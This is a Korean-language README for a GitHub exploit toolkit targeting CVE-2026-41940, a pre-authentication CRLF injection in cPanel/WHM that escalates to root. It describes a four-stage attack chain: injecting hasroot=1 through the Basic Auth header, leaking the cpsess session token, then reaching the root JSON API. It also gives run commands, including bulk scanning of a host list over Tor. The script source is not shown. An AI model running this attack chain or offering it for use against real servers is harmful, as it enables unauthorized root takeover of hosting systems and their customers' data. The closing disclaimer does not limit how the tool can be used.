richflexpix/cpanel-pwncPanel/WHM CVE-2026-41940 CRLF 인젝션 인증 우회 익스플로잇
cPanel/WHM 보안 테스트 툴킷. CVE-2026-41940 CRLF 인젝션 인증 우회 및 사후 침투 권한 상승을 구현합니다.
| 스크립트 | 용도 |
|---|---|
cpanel_exploit.py | CVE-2026-41940: CRLF 인젝션 → WHM 인증 우회 → 루트 접근 |
유형: CRLF 인젝션 → 인증 우회 → 루트 RCE
영향 대상: 패치 버전 이전의 cPanel/WHM
공격 방식: Basic Auth 헤더의 사전 인증 CRLF 인젝션으로 서버 측 세션 파일에 hasroot=1을 주입하여, 인증되지 않은 세션을 WHM 루트로 승격시킵니다.
Stage 1: POST /login/?login_only=1 → 사전 인증 세션 발급
Stage 2: GET / Authorization:Basic <CRLF> → hasroot=1 주입, cpsess 토큰 유출
Stage 3: GET /scripts2/listaccts → 세션 캐시 전파 가젯 실행
Stage 4: GET /cpsess[TOKEN]/json-api/version → HTTP 200 + 버전 = 루트 접근
pip install requests
python cpanel_exploit.py -t target.com
python cpanel_exploit.py -l whm_hosts.txt --tor --delay 2
python cpanel_exploit.py -t target.com --verify-only # CRLF 확인만 수행, 권한 상승 없음
공인된 침투 테스트에만 사용하십시오.